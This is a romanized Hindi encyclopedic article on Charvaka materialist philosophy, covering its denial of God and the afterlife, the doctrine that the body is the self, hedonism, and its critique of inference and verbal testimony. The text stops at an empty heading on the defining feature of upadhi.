चार्वाक के सिद्धान्त

• jis prakar astik darshanoan mean shankar darshan shiromani ke roop mean svikrit hai usi prakar nastik darshanoan mean sabase utkrisht nastik ke roop mean shiromani ki tarah charvak darshan ki pratishtha nirvivad hai. nastik shiromani charvak isalie bhi mana jata hai ki vah vishv mean vishvas ke adhar par kisi n kisi roop mean many eeshvar ki alaukik sarvamany satta ko sire se nakar deta hai. inake matanusar eeshvar nam ki koee vastu sansar mean nahian hai. nastik shiromani charvak jo kuchh bahari indriyoan se dikhaee deta hai anubhoot hota hai, usi ki satta ko svikar karata hai. yahi karan hai ki charvak ke siddhant mean pratyaksh praman ko chho d kar koee doosara praman nahian mana gaya hai. jis eeshvar ki kalpana any darshanoan mean ki gee hai usaki satta pratyaksh praman se sambhav nahian hai. inake mat se bij se jo aankur ka pradurbhav hota hai usamean eeshvar ki bhoomika ko manana anavashyak evan upahasaspad hi hai. aankur ki utpatti to mitti evan jal ke sanyog se nitant svabhavik evan sahaj prakriya se sarvanubhav siddh hai. is svabhavik kary ko sampann karane ke lie kisi adrisht kartta ki svikriti nirarthak hai.
• eeshvar ko n manane par jiv samany ke shubh evan ashubh karmoan ke phal ki vyavastha kaise sambhav hogi? is prashn ka samadhan karate hue charvak poochhata hai ki kis karm phal ki vyavastha apekshit? sansar mean do prakar ke karm dekhe jate haian. ek laukik tatha doosara alaukik karm. kya ap laukik karmoan ke phal ki vyavastha ke sambandh mean chintit haian? yadi haan, to yah chinta anavashyak hai. laukik karmoan ka phal vidhan to lok mean sarv many raja ya prashasak hi karata hai. yah sarvanubhav siddh tathy, pratyaksh hi hai. ham dekhate haian ki chaury karm adi nishiddh kary karane vale ko usake dushkarm ka samuchit phal, lok siddh raja hi dand ke roop mean karagar adi mean bhej kar deta hai. isi prakar kisi ki pran raksha adi shubh karm karane vale purush ko raja hi puraskar roop mean suphal arthath dhan dhany evan samman se vibhooshit kar deta hai.
• yadi ap alaukik karmoan ke phal ki vyavastha ke sandarbh mean sachint haian to yah chinta bhi nahian karani chahie. kyoanki paralaukik phal ki drishti se vihit ye sabhi yajn, pooja, path tapasya adi vaidik karm jan samany ko thagane ki drishti se tatha apani ajivika evan udar ke bharan poshan ke lie kuchh dhoortoan dvara kalpit hue haian. vastav mean agnihotr, tin ved, tridand ka dharan tatha sharir mean jagah jagah bhasm ka sanlep buddhi evan purusharth hinata ke hi parichayak haian. in vaidik karmoan ka phal aj tak kisi ko bhi drishti gochar nahian hua hai. yadi vaidik karmoan ka koee phal hota to avashy kisi n kisi ko isaka pratyaksh aj tak hua hota. at: aj tak kisi ko bhi in vaidik ya varnashram-vyavastha se sambaddh karmoan ka phal-svarg, moksh, devalok gaman adi pratyaksh anubhooti nahian hai at: ye samast vaidik karm nishphal hi haian, yah svat: yukti poorvak siddh ho jata hai.

adrisht evan eeshvar ka nishedh

yahaan yadi astik darshan yah kahe ki paralok svarg adi ko siddh karane vala vyapar adrisht ya dharm evan adharm hai jisase svarg ki siddhi hoti hai to yah charvak ko svikary nahian hai. alaukik adrisht ka khandan karate hue charvak svarg adi paralok ke sadhan mean adrisht ki bhoomika ko nirast karata hai tatha is prakar astik darshan ke mool par hi kutharaghat kar deta hai. yahi karan hai ki adrisht ke adhar par siddh hone vale svarg adi paralok ke nirasan ke sath hi is adrisht ke niyamak ya vyavasthapak ke roop mean eeshvar ka bhi niras charvak mat mean anayas hi ho jata hai.

jiv evan chaitany ki avadharana

• charvak mat mean koee jiv sharir se bhinn nahian hai. sharir hi jiv ya atma hai. phalat: sharir ka vinash jab mrityu ke uparant dah sanskar hone ke bad ho jata hai tab jiv ya jivatma bhi vinasht ho jata hai. sharir mean jo char ya paanch mahabhootoan ka samavadhan hai, yah samavadhan hi chaitany ka karan hai. yah jiv mrityu ke anantar paralok jata hai yah manyata bhi, sharir ko hi chetan ya atma svikar karane se niradhar hi siddh hoti hai. shastroan mean paribhashit moksh roop param purusharth bhi charvak nahian svikar karata hai. chetan sharir ka nash hi is mat mean moksh hai. dharm evan adharm ke n hone se charvak siddhant mean dharm-adharm ya puny-pap ko, koee adrishy svarg evan narak adi phal bhi nahian hai yah anayas hi siddh ho jata hai. yahaan yah prashn sahaj roop mean utpann hota hai ki char ya paanch bhootoan ke samavahit hone par chaitany kaise pradurbhoot ho jata hai? samadhan mean charvak kahata hai ki jaise kinv, madhu, sharkara, chaval, yav, draksha, mahua, seb adi padarth pani adi ke sath kuchh din vishesh-vidhi se rakhane ke bad vikrit ho kar mady mean parivartit ho jate haian tatha achetan hone par bhi madakata shakti ko utpann kar dete haian thik usi prakar sharir roop mean vikarayukt bhoot-samooh bhi chaitany ka utpann karate haian. isi prakar tambool, supari, tatha choone ke sanyog se jaise lal rang utpann hota hai vaise hi bhoot, sharir mean jab paraspar sanyukt hote haian, to j d ke roop mean prasiddh bhootoan se bhi chaitany utpann ho jata hai.
• charvak ke mat mean chetan sharir mean vidyaman chaitany jnan namak gun hi hai. yah sharir mean samavay sambandh se rahata hai. sharir mean samavay sambandh se jnan ki utpatti mean tadatmy sambandh se sharir karan hai, aisa karyakaran bhav jnan evan sharir ke madhy charvak ko abhimat hai. astik darshanoan ke anusar mukt atma mean jaise jnan nahian hota hai usi tarah charvak mat mean bhi mrit sharir mean jnan ke abhav ka upapadan ho jata hai. ye log pran ke abhav se mrit sharir mean jnan ke abhav ko siddh karate haian.
• tatpary yah hai, yadi yah kaha jay ki jahaan sharir hota hai vahaan jnan hota hai. to yah kary karan bhav mrit sharir mean jnan ke karan sharir ke hone ke bad bhi kary jnan ke n hone se anvay vyabhichar hone ke karan svikar nahian kiya ja sakata. is anvay vyabhichar ka samadhan karate hue charvak ka kathan hai ki jnan ko utpann karane ke lie keval sharir karan nahian, pratyut pran se yukt sharir karan hai. phalat: mrit sharir mean jnan ka karan pran se sanyukt sharir bhi nahian hai aur kary jnan bhi nahian he at: anvay vyabhichar ka varan charvak mat mean ho jata hai. is prakar sharir hi atma hai, yah charvak darshan ke anusar siddh hota hai. maian mota hooan. maian dubala hooan. maian karata hooan. is prakar ke vyavahar ka adhar sthoolata, krishata evan kriya ko janm dene vali kriti ya prayatn, sharir mean pratyaksh siddh haian. parinamasvaroop ahan pad ka vishay sharir se bhinn kuchh bhi nahian hai yah nirabadh siddh ho jata hai.
• kuchh charvak chaitany ka arth chetanata arthath atmatv karate haian. is prakar jnan ka matalab jnan ki adhikaranata hi hai. is tarah mrit sharir mean jnan ke n hone par bhi jnan ki adhikaranata thik usi prakar hai jaise astikoan ke siddhant mean mukt atma mean jnan ke n hone par bhi jnan ki adhikaranata akshunn mani jati hai. mrit sharir ke jnan ka adhikaran hone par bhi jnan ki utpatti ka ashray n hona sharir mean pran ke n hone se soopapann ho jata hai.

shariratmavad mean smaran ka upapadan

charvak mat mean sharir ko hi atma man lene par balyavastha mean anubhoot kanduk krida adi ka vriddhavastha ya yuvavastha mean smaran kaise hota hai? yah ek jvalant prashn sahaj hi uth kh da hota hai. yahaan yah nahian kaha ja sakata ki balyavastha ka sharir, vriddhavastha ka sharir evan yuvavastha ka sharir ek hi hai. yadi tinoan avasthaoan ka sharir ek hi hota to in tinoan avasthaoan ke shariroan mean itana b da antar nahian hota. antar se yah spasht siddh hota hai ki sharir ke avayav jo maans pind adi haian inamean vriddhi evan hras hota hai. tatha in hras evan vriddhi ke karan hi balyavastha ke sharir ka nash evan yuvavastha ke sharir ki utpatti hoti hai yah bhi siddh hota hai. yadi yah kahean ki yuvavastha ke sharir mean yah vahi sharir hai, yah vyavahar hone ke karan sharir ko ek man kar uparyukt smaran ko utpann kiya ja sakata hai, to yah kathan bhi yuktiyukt nahian ho sakata. kyoanki yah vahi sharir hai yah pratyabhijnan to svaroop evan akriti ki samanata ke karan hota hai. phalat: donoan avasthaoan ke shariroan ko abhinn nahian mana ja sakata hai. aisi sthiti mean poorv darshit baly-kal ke smaran ko sampann karane ke lie charvak balyakal ke sharir mean utpann kri da se jany sanskar doosare yuva-kal ke sharir mean apane jaise hi naye sanskar paida kar dete haian. isi prakar yuvavastha ke sharir mean vidyaman sanskar vriddhavastha ke sharir mean apane jaise sanskar utpann kar dete haian. etavata in balyavastha ke sanskaroan ke udbodhan se charvak mat mean smaran bina kisi badha ke ho jata hai. antat: charvak darshan mean sharir hi atma hai yah sahaj hi siddh hota hai.

• yadi sharir hi atma hai to charvak se yah poochha ja sakata hai ki 'mam shariramh' yah mera sharir hai, aisa lokasiddh jo vyavahar hai vah kaise utpann hoga? is vyavahar se to yah pratit ho raha hai ki sharir alag hai evan sharir ka svami koee aur hai, jo sharir se bhinn atma hi hai. is prashn ka samadhan karate hue charvak kahata hai ki jaise danav vishesh ke sir ko hi rahoo kaha gaya hai, phir bhi jan-samany 'rahoo ka sir' yah vyavahar b de hi sahaj roop mean karata hai, usi prakar sharir ke hi atma hone par bhi 'mera sharir' yah lokasiddh vyavahar upapann ho jayega. charvakoan mean kuchh charvak indriyoan ko hi atma manane par indriy ke nasht hone par smaran ki apatti ka niras nahian ho pata hai. kinhian charvakoan ne pran evan man ko bhi atma ke roop mean mana hai.
• sharir hi atma hai yah siddh karane ke lie charvak is ved ke sandarbh ko bhi astikoan ke santosh ke lie prastut karata hai. is ved vachan ka tatpary hai ki 'vijnan se yukt atma in bhootoan se utpann ho kar ant mean in bhootoan mean hi vilin ho jata hai. yah bhootoan mean sharir svaroop atma ka vilay hi mrityu hai.'

paralok ka pratishedh

• is prakar charvak darshan, matr sharir kendrit ho kar samast alaukik evan paralaukik tattvoan se svayan ko door kar nastikata ki parakashtha ka varan kar leta hai. yahi karan hai ki yah nitant nirankush ho kar ved sammat sabhi manyataoan ka rochak shabdoan mean khandan karata hai. aisa pratit hota hai ki charvak vah vichar hai jo jan samany ke dainik jivan mean sahaj roop mean anusyoot hai. charvak vah mat hai jo har vyakti ki sahaj pravritti ko ujagar karata hai. jis prakar paralaukik tathyoan ko vishesh prayas ke sath vibhinn darshanikoan ne suvyavasthit kar vibhinn granthoan ke roop mean samaj ke samaksh rakha usi prakar ek prayas jan samany mean vyapt sahaj pravritti ko bhi lipi baddh karane ke lie charvak dvara kiya gaya jo charvak darshan ke roop mean hamare samaksh hai.
• paralok ki manyata ko upahasaspad batate hue charvak pratyaksh, 'manushy lok' ko hi ek lok manata hai. bahy indriyoan ke dvara jnat padarth hi is sansar mean mane ja sakate haian. ghran, rasana, chakshu, tvacha evan shrotr ye paanch indriyaan hi prasiddh haian, inase jin padarthoan ka sakshatkar hota hai ve padarth hi charvak ko svikary haian. in bahy indriyoan se kramash: gandh, ras, roop, sparsh evan shabd ka avabodh hota hai. is sansar mean surabhi asurabhi gandh ka anubhav kar logoan ko praphullit hote hue dekha gaya haian tikt, katu, kashay adi chh: rasoan ke asvad se ahladit hote jan-samany ko dekha jata hai. bhoomi, bhoodhar, bhuvan, bhooruh-vriksh, stambh, saroruh adi ka nirikshan kar pulakit hote lok ko suna gaya hean vastu ke mridu, kathor, shit, ushna, evan anushnashit sparsh se romaanchit janoan ka pratyaksh kiya gaya hai. vividh venu, vina, evan manushy pashu pakshiyoan se sambaddh madhur vani ko avichal ho sunate dekha gaya hai.
• yahaan charvak poochhata hai ki kya in anubhavoan se atirikt bhi kaee anubhav kahian shesh bachata hai? kathamapi nahian. prithvi jal tez vayu se samutpann chaitany ko chho d kar chaitany ke hetu ke roop mean paralok jane vale kisi jiv ki kalpana, jisaka kisi ko aj tak sakshatkar nahian ho saka hai, kathamapi sangat nahian mana ja sakata. is prakar yadi jiv nahian hai to isake sukh du:kh ki suvyavastha ke lie adrisht ya dharm adharm ki kalpana karana tatha dharm adharm ke dvara prasoot phal ke samupabhog ke lie svarg evan narak ke roop mean adhar bhoomi ki parikalpana, isi prakar puny evan pap donoan ke kshay se samutpann moksh sukh ki varnana, kya akash mean vichitr chitr ki rachana ki tarah upahasaspad nahian hai?
• itana sab kuchh hone par bhi yadi koee anaghat, anasvadit, adrisht, asprisht evan ashrut jiv ka samadar karata hua svarg evan apavarg adi sukh ki samiha se vibhram vash sir evan dadhi ke keshoan ka mundan karavakar, atyant durooh vratoan ka dharan kar, kathin tapashcharya kar, atyadhik du:sah prakhar soory ke tap ko sahan kar is durlabh manav janm ko niras banata hai to vah vastav mean mahamoh ke dushchakr mean ghira daya ka hi patr kaha ja sakata hai. avashyak yah hai ki ham is prakar ke dushchakr se bahar nikal kar vastavikata ko svikar karean. is prakar ki bhoomika ka nirman hi charvak darshan ka mool lakshy hai.

charvak ka navy evan prachy bhed

• charvak darshan ki prastavana ke sath hi pray: har darshan apane mat ki sthapana karata hai. jab charvak ka khandan apane-apane sampraday ke adhar par vibhinn vidvanoan ne kiya tab charvak ne bhi avashyakatanusar apani manyataoan mean aparihary evan lokanumat parishkar ko saharsh manyata di. jis prakar nyay darshan mean prachin evan navy do dharaean kalakram se avashyakata ke adhar par vidvanoan ke samaksh upasthit hueean, usi prakar charvak darshan ki bhi do vicharadharaoan ka prachy evan navy roop mean samaj ke samaksh pradurbhav hua.
• jab charvak ne pratyaksh se bhinn praman manane valoan se kaha ki pratyaksh hi ek matr praman hai isase atirikt koee any praman nahian hai. tab kuchh sahaj prashn any darshan ke acharyoan ne uthaye jo charvak ko bhi samuchit lage.
• udaharanarth jab nyay darshan ke acharyoan ne kaha ki yadi anuman praman nahian hai to kisi vyakti ke mukhamandal par avishkrit rekhaoan ko dekh charvak bhi sukh du:kh adi bhavoan ko kaise jan sakata hai? jab kahian bhavan ke oopar gagan ko choomati dhooean ki rekha dikhayi p dati hai to kya janasamany ko jo makan par ag ki nishchayatmak anumiti hoti hai vah charvak ko nahian hoti hai? is tarah ke talasparshi prashnoan ke phalasvaroop charvak ki navy parampara ne apane vicharoan ko kianchit parishkrit avashy kar liya.

navy parampara mean anuman evan gagan many

yahi karan hai ki navy charvakoan ne anuman ko bhi praman ke roop mean svikar kar liya. itana avashy hai ki usi anuman ko charvak ki is navin dhara ne svikar kiya jo lok prasiddh vyavahar ko upapann karane ke lie aparihary the. jaise dhooean ko dekh ag ka anuman. mukh par ubhari rekhaoan ko dekh sukh ya du:kh ka anuman. parantu alaukik dharm evan adharm ko svarg ya narak ko siddh karane vale anuman ka to charvakoan ne ek mat se khandan hi kiya hai.

• isi kram mean navy charvakoan ne char bhootoan ko manane ki parampara ko parishkrit kar paanch bhootoan ko svikar kar liya. sarvamany avakash roop akash ko n manana sambhavat: charvak ke lokayat svaroop ko hi chhinn-bhinn kar deta. isilie apane svaroop ki raksha karate hue avakash ke roop mean prasiddh akash ko svikar kar navy charvakoan ne buddhimani ka hi parichay diya hai. is prakar atma sharir hi hai. paramatma lok mean prasiddh raja hai. moksh sharir ka nasht hona hi hai. svarg adi laukik drishti se pare koee paralok nahian haian. is lok mean anubhoot vishisht sukh hi svarg hai. isi prakar du:kh ke karan kantak adi se utpann is lok mean anubhoot du:kh hi narak hai. koee amar nahian haian sabaki mrityu ek din hoti hi hai. in dharanaoan se abhibhoot charvak ki spasht avadhara hai ki jab tak manav jivan hai tab tak sukh ke sath jina chahie. doosaroan se rrin lekar bhi ghi pina sambhav ho to ni:sankoch pina chahie. rrin n de pane ke dar se ya punarjanm hone par lie gaye rrin ka kee guna adhik us vyakti ko vapas karana p dega is bhay se vyagr n hoan kyoanki sharir ke shmashan mean bhasm ho jane par deh ka pun: janm kathamapi sambhav nahian hai.
• is darshan mean prithvi jal tez evan vayu ye char bhoot hi tattv ke roop mean mane gaye haian. vastav mean ye tattv dravy hi haian. kal disha atma evan man dravy ya tattv ke roop mean charvak darshan mean many nahian haian. kyoan ki inaka indriyoan se pratyaksh sambhav nahian hai. charvak yadi char dravyoan ko manata hai to in char dravyoan mean rahane vale indriy dvara grahy gun hi is darshan mean svikrit ho sakate haian. aise gunoan mean roop, ras gandh, sparsh, sankhya, pariman, prithaktv, sanyog, vibhag, paratv, aparatv, gurutv, dravatv, sneh, shabd, buddhi, sukh, du:kh, avashy svikar karega kyoanki yah karm bhi is darshan mean svikrit char dravyoan ka asadharan dharm hai. inamean paanch bhed utkshepan, apakshepan, akuanchan, prasaran, evan gaman ke roop mean bhi charvak darshan mean avashy svikary hoange. par evan apar bhed se samany bhi ye maneange hi. isi prakar vishesh evan samavay evan abhav bhi inhean manana hoga kyoanki inaka bhi sambandh inake dvara abhipret char bhootoan se hai. yah sambhav hai ki prachin charvak in gunoan mean se matr un gunoan ko hi svikar kare jo matr pratyaksh haian kyoanki isake siddhant mean anuman praman ki manyata nahian hai.

kam hi param-purusharth

• sharir roopi atma ko jo achchha lage charvak ki drishti mean vahi sukh hai. aangana adi ke aliangan adi se jo sukh milata hai, vahi kam roop pramukh purusharth hai. ye laukik sukh, du:kh se mishrit hone ke karan purusharth kaise ho sakate haian? yah prashn nahian karana chahie. saansarik har sukh, du:kh se mishrit to hota hi hai. buddhiman vyakti du:kh ko chho d kar keval sukh ka hi upabhog thik vaise hi karata hai, jaise am, santara adi phal ka sevan karane vala vyakti chhilake evan guthali ka tyagakar phal ka rasasvad leta hai, jaise machhali khane vala vyakti chhilake evan kaantean ke sath mili machhali se kaantoan evan chhilakoan ko nikal kar matr khady aansh ko hi khata hai. dhan ki kamana karane vala vyakti khet se pual ke sath dhan ko lata to avashy hai, parantu anapekshit aansh pual ko chho d kar matr dhan ka hi sangrah karata hai. phalat: sansar mean du:kh ke bhay se anukool lagane vale sukh ka tyag kathamapi samuchit nahian hai aisa charvak darshan ka abhimat hai.
• sansar mean kabhi bhi yah nahian dekha gaya hai ki khetoan mean kisan dhan ke bij isalie nahian bota hai ki dhan ko harin bhavishy mean kha kar nasht kar deange. desh mean bhikshuk haian isalie bhojan nirman ke lie koee bataloee choolhe par n rakhata ho aisa bhi kabhi nahian dekha jata hai. isi prakar yadi koee du:kh se atyant darane vala vyakti sukh ko chho d deta hai to vah pashu se bhi b da moorkh hi mana jayega. vastav mean yah moorkhata se bhara hi vichar hoga ki sukh du:kh ke sath utpann hota hai at: sukh ka sarvatha parityag kar dena shreyaskar hai. kya apana hit chahane vala koee manushy kabhi bhi safed evan achchhe dhan ke danoan ko keval isalie chho data hai ki vah dhan bhoosi evan anapekshit dhool se yukt hai. kabhi nahian. parinamasvaroop sukh purusharth hai yah siddh hota hai.
• yadi sansar mean koee svarg adi ke roop mean alaukik sukh many nahian hai to vidvanh log paryapt dhan evan prayas se sadhy, yajnadi karmoan ke anushthan mean sotsah pravritt kyoan hote haian? log atyant shraddha evan utsah se in bhavy ayojanoan mean tatpar dekhe jate haian. phalat: alaukik sukh svarg adi ke roop mean avashy manana chahie yah tark yukt nahian hai. in vaidik anushthanoan ko; jhootha, paraspar virodhi evan punarukti dosh se dooshit hone ke karan pramanik kisi bhi prakar se nahian mana ja sakata hai. apane ko vaidik manane vale dhoortt apas mean hi ek doosare ko khandan karate dekhe ja sakate haian. karm kand ko praman manane vale vidvanh jnan kand ki, tatha jnan kand ko praman svikar karane vale vaidik vidvanh karmakand ki paraspar ninda karate dekhe jate haian. is prakar in vaidikoan ke vyavahar se hi in donoan vaidik matoan ki ni:sarata svat: siddh ho jati hai.

anuman evan shabd ke pramany ka pratishedh

• svarg adi paralok nahian haian. dharm evan adharm ki satta nahian hai. eeshvar koee paralaukik tattv nahian hai. sab kuchh is lok mean hi hai. yah tabhi pramanik roop mean charvak siddh kar sakata hai jab vah anuman ki pramanikata ka khandan kare. yadi anuman praman hai to in paralaukik padarthoan ki anuman praman se ho rahi siddhi ko kaun rok sakata hai. is prakar ka prashn anuman ko praman manane vale vidvanoan ki or se uthaya jata hai. yadi anuman praman nahian hota to dhuean ko dekhane ke anantar janasamany ko kabhi bhi ag ki anumiti nahian hoti. jo log prekshavan vivechak haian arthath prakrisht phal ka nam se ullekh hue bina jo shastr ke chintan adi mean pravritt nahian hote haian, ve bhi sahaj roop se anuman karane mean pravritt dekhe jate haian. phalat: anuman ko praman avashy manana chahie.
• 'nadi ke kinare phal rakhe hue haian', yah vaky sunane ke bad phal ki kamana karane valoan mean nadi ke kinare jane ke lie pravritti dekhi jati hai. is pravritti se yah siddh hota hai ki vakyoan ko sunane ke bad bhi jan samany mean jo sahaj kriya hoti hai vah svatantr shabd praman manakar shabdabodh hone par hi sambhav hai.
• is shabd ke sambandh mean kaha gaya hai ki, yah shabd bina kisi bhed bhav ke apane arth ka sakshatkar sabhi ko kara deta hai. bas apeksha itani hi hoti hai ki isaka prayog vyavasthit roop mean kiya jana chahie. yahaan vyavasthit roop se tatpary hai ki jin shabdoan ka prayog ho raha hai unamean paraspar akaanksha, yogyata evan asakti avashyak roop mean ho. yahi karan hai ki shabd ko praman manane valoan ke yahaan shabdamayi devi sarasvati ki vishesh manyata any devataoan ki apeksha mukt kanth se svikar ki gee hai.
• shabd se hone vale bodh ko charvak pratyaksh nahian kar sakata. karan yah hai ki shabd se hone vale bodh mean, niyamit roop se vritti jnan ke hone ke bad akaanksha yogyata evan asakti ke nirnay ho jane par pad se hone vale smaran ke vishay padarthoan ke sambandh vishesh hi vishay hote haian. shabdabodh mean is sambandh ya anvay ka hi vishesh roop se bodh hone ke phalasvaroop is shabdabodh ko anvayabodh nam se bhi vidvat samaj mean jana jata hai.
• yadi shabdabodh pratyaksh hota to jaise pratyaksh any prakar se upasthit padarthoan ka bhi jnanalakshana sannikarsh se hota hai usi prakar shabdabodh bhi any prakar se jnat padarthoan ka avashy hota. at: shabdabodh mean any prakar se upasthit padarthoan ka bodh anubhav siddh nahian hai at: ise pratyaksh nahian kaha ja sakata. shabd se hone vale bodh ke anantar mujhe shabdabodh ho raha hai is prakar anuvyavasay ya shabdabodh ka pratyaksh hota hai. mujhe pratyaksh ho raha hai yah bodh kisi ko nahian hota hai. is karan bhi shabd se pratyaksh hota hai yah nahian mana ja sakata hai.
• shabdabuddhi ko pratyaksh manane par, kisi bhi prakar ke pratyaksh ke prati jo shabdabodh ki samagri ko avarodhak ya pratibandhak mana jata hai vah nahian mana ja sakega. kyoanki jo shabdabodh-svaroop pratyaksh hai usako is shabdabodh ki samagri rokegi yah kaise kaha ja sakata hai? yadi kahean ki shabdabodh-svaroop pratyaksh se bhinn pratyaksh mean shabd samagri pratibandhak mani ja sakati hai to is prakar ki lambi kalpana ki apeksha shabdabodh ko alag ek prama man lene mean hi laghav hai.
• in yuktiyoan ke adhar par yadi praman ke roop mean anuman evan shabd bhi siddh ho jaean to jin padarthoan ka nirakaran charvak karata hai vah sambhav nahian ho payega. yahi karan hai ki charvak atyant prabal evan svabhavik yuktiyoan ke adhar par anuman evan shabd ki alag praman ke roop mean manyata ka upahasapoorvak atyant manoranjak paddhati se khandan karata hai.

vyapti ki duravabodhata

• jo log anuman ko prithakh praman manate haian, unase charvak janana chahata hai ki ap anuman ka svaroop kya manate haian? vyapti evan pakshadharmata se yukt jnan hi to anuman hoga. yah jnan tab tak sambhav nahian hai jab tak is vishisht jnan mean visheshan ke roop mean svikrit vyapti ko n jan liya jay. anuman ko praman manane valoan ke mat mean ubhay vidh upadhi se vidhur sambandh hi vyapti hai. is vyapti ka jnan hone par hi anumiti hoti hai. pratyaksh ki tarah chakshu ka svaroopat: jaise pratyaksh prama mean upayog hota hai us prakar vyapti ki svaroopat: anumiti mean koee bhoomika sambhav nahian hai. aisi sthiti mean yahaan yah prashn hota hai ki vyapti ka jnan kis upay se sambhav hai?
• kya vyapti ka jnan pratyaksh praman se sambhav hai? yadi haan to kya yah vyapti ka bahy pratyaksh hai ya antar pratyaksh? vyapti ka bahy pratyaksh hai yah nahian mana ja sakata hai kyoanki vartaman kal mean vidyaman vastu mean vyapti ka bahy indriyoan se pratyaksh bhale ho jaye parantu bhoot evan bhavishy kal mean vidyaman vastuoan mean is vyapti ka jnan bahy indriyoan se kathamapi sambhav nahian hai. vastu mean vidyaman dharm dhootattv adi ke madhyam se sabhi dhoom mean chahe vah bhoot mean ho ya bhavishy mean, vyapti ka jnan ho jata hai yah nahian mana ja sakata. kyoanki aisa svikar karane par vyakti mean vyapti ke abhav ki apatti dushparihar ho jayegi.
• vyapti ka antar arthath man se pratyaksh hota hai, yah bhi nahian many ho sakata kyoanki ant:karan ya man barhindriyoan ke sarvatha adhin hota hai isilie kabhi bhi man svatantr roop se bahy vishayoan ko grahan karane ke lie udyat nahian dekha jata hai. phalat: vyapti ka bahy evan antar pratyaksh kathamapi nahian ho sakata, yah sunishchit ho jata hai.
• vyapti ka anuman praman se bhi sakshatkar sambhav nahian hai. yadi vyapti ka jnajnanh anuman se mana jaega to isaka tatpary yah hoga ki vyapti ke is anuman mean vyapti sadhy hai. vyapti roop sadhy ko siddh karane ke lie koee hetu bhi hoga hi. is hetu mean bhi vyapti svaroop sadhy ki vyapti svikar karani hogi. aur is prakar is hetu mean rahane vali vyapti ki vyapti ke jnan ke lie bhi pun: anuman ka anusaran karana p dega. is tarah jab kahian apramanik roop mean anant padarth ki kalpana karani p dati hai to ise anavastha dosh kahate haian. parinam mean yah nishkarsh nikalata hai ki vyapti ka jnan anuman se anavastha dosh ke karan asambhav hai.
• vyapti ko shabd praman se bhi nahian jana ja sakata. jab shabd se kisi arth ke bodh ke lie jan samany pravritt hota hai tab kuchh prasiddh hetuoan ya liangoan ke dvara use arth vishesh mean shabd vishesh ki shakti ka bodh hota hai. ve hetu- vyakaran, upaman, kosh, aptavaky, vyavahar, vaky shesh, vivriti evan siddh pad ki sannidhi ke roop mean vikhyat hai. in hetuoan mean vyavahar ko arth mean shabd ki shakti ka jnan karane mean sarvopari mana gaya hai. yadi shakti ka bodh karane ke lie vriddhoan ke vyavahar ko hetu ke roop mean prastut kareange to shakti roop sadhy ka anuman karane ke lie vriddhavyavahar hetu hoga, tatha is hetu mean vyapti hogi. is vyapti ka jnan karane ke lie pun: shabd praman ka sahayog lena p dega phalat: pun: poorvadarshit paddhati se anavastha dosh ki prasakti aparihary ho jaegi. aisi sthiti mean shabd bhi vyapti ke jnan karane mean samarth nahian hai yah siddh ho jata hai.
• maharshi manu evan yajnavalky adi ke vachanoan mean jaise jan samany mean agadh shraddha drishti gochar hoti hai vaisi shraddha ya vishvas dhooean mean ag ki vyapti ya avinabhav hai is vachan mean nahian dekhi jati hai. at: vyapti ko siddh karane ke lie apt vaky roop shabd ko praman ke roop mean nahian svikar kiya ja sakata.
• itane upayoan ka sahara le kar bhi yadi vyapti ka bodh sambhav nahian hota hai to avinabhav ya vyapti ke jnan ke bina dhoom adi ko dekh kar vahni adi ka svarthanuman bhi nahian ho sakata. svarthanuman ki asambhavana ki sthiti mean pararthanuman ki kalpana to svat: nirast ho jati hai.
• anuman ko praman manane valoan ki yah manyata hai ki doosare praman se arthath pratyaksh se hetu mean vyapti ka jnan karane ke anantar dhoom ko parvat par dekhane ke bad vyapti ka smaran hota hai tatha vyapti se vishisht dhoom ke parvat mean rahane ka jnan ya pakshadharmata jnan hone ke anantar parvat mean ag hai yah anumiti hoti hai. yadi shabd se hi, vyapti se vishisht dhoom hai yah vyapti-jnan mana jaega to jis vyakti ko shabd ke madhyam se vyapti ka jnan nahian hota hai use dhoom adi hetu se vyapti ka jnan nahian hone ke karan ag adi ka anuman nahian hona chahie. jab ki anubhav yahi hai ki shabd se vyapti ke jnan ke bina bhi pratyaksh adi praman se vyapti ka jnan hone par bhi anuman hota hi hai. phalat: shabd se hi vyapti ka jnan hoga yah siddhant bhi sthir nahian ho pata hai.
• upaman adi pramanoan se bhi hetu mean rahane vali vyapti ka jnan nahian ho sakata hai. upaman praman se sanjna evan sanjni arthath nam evan nami ke bich vidyaman sambandh ka hi bodh mana jata hai. yah sambandh vachyatv, vachakatv, vachyavachakabhav, athava shakti evan lakshana svaroop, shabd ke sambandh ke roop mean vibhinn sampradayoan mean prasiddh haian. ye sambandh to vyapti ke roop mean svikrit nahian ho sakate. is tarah upaman adi pramanoan ki bhoomika bhi vyapti ke avabodh mean sahaj roop mean nirast ho jati hai.
• upadhi se vidhur sambandh roop vyapti ka bhi grah asambhav donoan prakar ki upadhi se vidhur ya rahit sambandh ko vyapti kaha gaya hai. yah sambandh-svaroop vyapti kabhi bhi donoan prakar ke upadhiyoan se virahit nahian ho sakati hai. sansar mean jitani upadhiyaan haian, sab do prakar ki hi sambhav haian ya to upadhi pratyaksh hogi ya vah apratyaksh hogi. pratyaksh upadhiyoan ka virah yogyanupalabdhi se hetu mean susiddh hone par bhi apratyaksh upadhiyoan ka pratyaksh to sambandh mean sambhav hi nahian hai. yadi kahean ki apratyaksh upadhiyoan ka anuman praman se hetu mean abhav siddh kiya ja sakata hai to pun: is apratyaksh upadhi ke anuman mean bhi jo hetu hoga usamean ubhayavidh-upadhi-vidhur sambandh ki apeksha hogi tatha yahaan bhi apratyaksh upadhi ko siddh karane ke lie pun: anuman ka ashray lena aparihary ho jaega. phalat: anavastha dosh vajralep ho jata hai. is tarah donoan prakar ki upadhiyoan se vidhur sambandh roop vyapti ki kalpana bhi anuchit siddh hoti hai.

upadhi-lakshan

